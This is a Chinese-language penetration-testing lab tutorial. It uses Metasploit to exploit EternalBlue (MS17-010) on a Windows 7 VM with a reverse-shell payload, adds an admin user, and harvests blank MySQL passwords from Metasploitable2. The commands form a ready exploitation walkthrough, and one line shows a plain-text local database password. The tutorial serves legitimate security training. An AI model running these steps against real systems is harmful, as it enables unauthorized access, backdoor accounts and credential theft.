目录
一、永恒之蓝漏洞 ——使用 msf 渗透攻击 Win7 主机并远程执行命令
(1)先扫描目标是否存在 ms17-010 漏洞 ——即查找ms17-010攻击模块
(3)、配置 RHOST 主机 IP,并开始扫描 ——扫描是否存在ms17-010漏洞
(1)、查找攻击模块 ---已经确定存在ms17-010模块
(4)、查找payload,获取shell权限,设置lhost攻击地址
1、使用 msf 扫描靶机(Metasploitable2-linux)上 mysql 服务的空密码
(1)Metasploitable2-linux登录查看ip
实验内网渗透环境
Metasploitable2-linux:靶机 192.168.234.8
kali-debian:攻击机 192.168.234.141
win7 虚拟机:靶机 192.168.234.158
Metasploitable2-linux靶机安装环境:
链接:https://pan.baidu.com/s/1hFd_BaUETz9pM4X5Kfeh_w
提取码:5b90
在此声明文章仅供相互学习参考,严禁利用于违法犯忌的事,任何事故自行承担!!
一、永恒之蓝漏洞 ——使用 msf 渗透攻击 Win7 主机并远程执行命令
——永恒之蓝漏洞(共享文件应用漏洞)
利用的是:共享文件应用漏洞;分为:扫描阶段--攻击阶段--payloads--操作
永恒之蓝(EternalBlue):
是漏洞利用程序(网络攻击工具),永恒之蓝利用windows系统的SMB漏洞可以获取系统最高权限。
SMB协议(Server Message Block):
它能被用于Web连接和客户端与服务器之间的信息沟通,SMB通过windows的共享文件应用端口号(主要通信端口:445)进行信息沟通。
MS17-010(永恒之蓝漏洞):
利用SMB协议的缓冲区溢出漏洞,通过覆盖其他内存区域,实现远程的命令注入。
- 扫描阶段:kali攻击机通过445端口号向windows靶机发送TCP报文,扫描查看是否存在ms17-010漏洞
- 攻击阶段:kali通过共享文件应用端口号445,对win7(靶机)发送SMB报文进行攻击,建立连接
- payloads(建立连接):win7(靶机)进行监控的数据包通过444端口号传输到kali(攻击机)中,建立稳定连接 ---攻击载荷,可返回shell(bash或cmd),进行程序注入等
- 在攻击机进行靶机操作:对靶机进行想要进行的一系列操作,eg、对靶机进行增删改查各种信息等操作
payload 模块:建立连接,攻击载荷 ,其作用:
木马病毒将shell封装在(实现配置好的)通信协议数据包里,再返回给kali,其中payloads模块就是所使用的通信协议(通信规则),返回时就需要用这个payloads模块进行解析
同时建立好session回话后,payloads模块还需要封装由目标机所需要执行的命令发送出
正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。
影响:恶意代码会扫描开放文件共享端口(端口号:445)的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
通过 msf 模块获取 Win7 主机远程 shell
1、检查是否存在ms17-010漏洞,进行扫描
扫描阶段--TCP
(1)先扫描目标是否存在 ms17-010 漏洞 ——即查找ms17-010攻击模块
msf6 > search ms17-010 ----与ms17-010相关的模块
(2)、use 命令选中这个模块,并查看模块需要配置的信息
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options #查看模块的选项
----使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写(输入r然后按tab键可以自动补全该参数)。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标
(3)、配置 RHOST 主机 IP,并开始扫描 ——扫描是否存在ms17-010漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.234.158
-----RHOST就是靶机的ip地址
msf6 auxiliary(scanner/smb/smb_ms17_010) > run ---运行扫描模块
----目标看起来易受攻击,也就表示可能存在相关漏洞。
2、攻击准备工作 ----配置攻击机ip,设置靶机主机ip
(1)、查找攻击模块 ---已经确定存在ms17-010模块
返回上层:
msf6 > search ms17-010 #查找攻击模块
(2)、使用 use 命令加载模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue #use命令加载模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看模块的选项
--------使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写(输入r然后按tab键可以自动补全该参数)。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标
(3)、设置目标主机 IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.234.158
查看 exploit target 目标类型:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets --只存在一个target,系统默认选择
(4)、查找payload,获取shell权限,设置lhost攻击地址
找一个 payload,获取 shell 远程连接权限后,进行远程执行命令
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的协议,可返回 shell,也可以进行程序注入等。
我们挑选一个反弹 shell 的 payloads,#设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
查看一下 payloads 需要配置什么信息:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload 信息
设置一下本机 payload 监听地址,即LHOST--kali攻击机的地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.234.141
3、exploit攻击
(1)exploit攻击,获取目标主机shell
配置完成后开始执行 exploit [ɪkˈsplɔɪt 运用;利用;
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit ----攻击
注:如果等待没有出现 shell 提示符可以敲一下回车。
无shell提示符,回车(此时直接执行都有目标主机shell)
注:攻击成功会进入meterpreter,此时输入shell进入对方的cmd,exit可退出meterpreter
(2)创建用户获取--获取用户权限
C:\Windows\system32>net user admin admin /add #使用 DOS 命令创建用户
显示乱码但是已经添加成功,拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001 #创建用户
C:\Windows\system32>net user #查看用户
C:\Windows\system32>whoami #查看拿到的用户权限
(3)退出目标机,通过会话id进行保存、删除会话
关闭链接 Ctrl+c
Abort session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
#-j 表示后台执行 渗透目标完成后会创建一个 session,我们可以通过 session 连接目标主机。
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 201 #通过会话 Id 进入会话
C:\Windows\system32>background #退出会话,将会话保存到后台
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4 #根据会话 Id 结束(删除)会话
二、使用 msf 扫描靶机上 mysql 服务的空密码
操作结果:知道目标靶机是否是空密码,进去后从creds凭证查看账号和密码
set blank_passwords true:尝试为所有用户设置空白密码
在set blank_passwords true之前设置set username root:
在一台msf中导出空密码信息并导入进另一台msf中:测试是否能够传输
- 扫描所有用户是否是空密码 ---得到空密码用户信息
- kali通过3306端口攻击Metasploit2_linux获取信息 ---获取导出账号和密码信息
- 导出的信息导入到另一台msf ----实现不同操作系统的
- 查看导出的数据库信息的信息
后端凭证命令creds ,列出数据库中的所有凭据(也就是账号和密码)
我们启动一台 Metasploitable2-Linux 靶机网络模式为桥接 IP:192.168.234.8
1、使用 msf 扫描靶机(Metasploitable2-linux)上 mysql 服务的空密码
(1)Metasploitable2-linux登录查看ip
登录 Metasploitable2-Linux 系统:
输入 ip a 查看 ip 地址:
(2)检索mysql_login登录模块并加载
msf6 > search mysql_login
#登录 Kali 开始搜索模块,查看是否有空密码,如果有则加载相应的辅助模块
---因为要查找的是mysql的空密码,涉及到登陆问题===》查找login。
msf6 > use auxiliary/scanner/mysql/mysql_login
#加载模块,发现blank_passwords是true(如果是false则要设置为true)
msf6 auxiliary(scanner/mysql/mysql_login) > show options
#查看模块配置项
(3)配置用户和空密码,设置靶机ip,进行攻击
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root #配置要爆破的用户
参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空密码
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
#为所有用户尝试空密码==》扫描所有用户是否有存在空密码的
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.234.8
#设置目标主机ip,即靶机
msf6 auxiliary(scanner/mysql/mysql_login) > exploit
#配置完成后我们执行 run 或者 exploit,进行攻击
使用后端凭证命令 creds , 列出数据库中的所有凭据 ---- Credentials [krəˈdenʃlz] 凭证;证书;
msf6 auxiliary(scanner/mysql/mysql_login) > creds
注:postpresql问题解决:No active DB -- Credential data will not be saved!---kali中连接postgresql数据库并设置密码
即无活动数据库,凭证将不会被保存。查看主机信息和凭证信息,发现原因是数据库未连接!
可行操作: ----开启数据库
msf6 > msfdb #查看msf数据库database相关命令
msf6 > msfdb init #开启数据库,并初始化,已经开启了数据库,还需要打开运行数据库
msf6 > msfdb run #打开并运行数据库
不行操作: ---网上找到的方法
root@kali:~# systemctl start postgresql #启动postgresql
root@kali:~# systemctl enable postgresql #设置开机自启动
msf控制台提示没有数据库配置文件:No active DB -- Credential data will not be saved!
msf6 > db_statu #查看数据库状态:
msf6 > msfdb init #初始化一下msf数据库,若已经初始化过则输入:msfdb reinit
生成了配置文件database.yml
msf6 > vim /usr/share/metasploit-framework/config/database.yml #查看一下配置文件中的内容
打开新的标签页(ctrl+shift+t),进行操作:
root@kali:~# sudo -u postgres psql #进入postgresql数据库
为msf用户设置密码===》就可以在msf控制台连接数据库
postgres=# alter user msf password 'merezj'; #修改msf密码为merezj
注意:数据库操作的每条语句后都有分号,如果输入错了按ctrl+c进行重新输入。
输入\q退出,之后就可以用设置密码在msf控制台进行连接数据库了
msf6 > db_connect msf:merezj@localhost/msf #连接数据库
打开msf控制台,尝试看是否能够自动连接数据库:
结果发现不能自动连接,显示密码认证失败===》修改msf连接数据库的配置文件: ---密码修改为merezj
root@kali:~# vim /usr/share/metasploit-framework/config/database.yml
这下可以msf就可以自动连接数据库了:
但是对于我的kali虚拟机不行,依然还是: ---因为我那个不是
(4)查看列出凭证:
msf6 auxiliary(scanner/mysql/mysql_login) > creds
#后端凭证命令creds ,列出数据库中的所有凭据(也就是账号和密码);Credentials :凭证;证书;
之后就可以以xml文件的形式导出空密码信息了
2、将前面扫描 mysql 数据库空密码信息导出
msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注:导出只支持两种格式:xml 和 pwdump,常用的导出格式为 xml
msf6 auxiliary(scanner/mysql/mysql_login) > exit #导出以后退出程序
3、扫描的结果导入另一台机器的 Metasploit 中
(1)重置数据库
root@zwzj:~# msfdb reinit #直接重置数据库,当成新的来用
root@zwzj:~# msfconsole #连接 Metasploit
msf6 > hosts #查看数据库,发现数据库中主机信息是空的,我们导入数据
(2)导入另一台主机
注:数据库后端命令:
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的链接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
方法1:使用msf6进行导入数据
msf6 > db_import /root/bak.xml #导入2中导出的mysql空密码信息数据
msf6 > hosts #查看数据库中的主机,已经导入
msf6 > hosts -h #查看命令选项
在这里,最重要的是选项 -c,此选项使我们能够选择要用 hosts 命令显示的数据的列或字段(类似于 SQL 中的 select 命令)。在上图中可以看到显示的可用列。
msf6 > hosts -c address,name,os_name #显示指定列的主机信息
删除指定主机:hosts -d +ip地址
方法2:使用nmap进行导出导入
root@zwzj:~# nmap -A zwzj.cn -oX zwzj.xml
#将扫描信息导出到 XML 文件中,之后可直接将 NMAP 的扫描结果导入到 Metasploit 数据库中
msf6 > db_import /root/zwzj.xml #回到 Metasploit 导入扫描的xml结果
msf6 > hosts #查看结果,发现xml结果已被导入hosts主机
4、查看数据库中主机服务信息
msf6 > services #查看我们数据库中的主机都开放了哪些服务
msf6 > services -R 192.168.234.8 ———— #显示指定主机的服务信息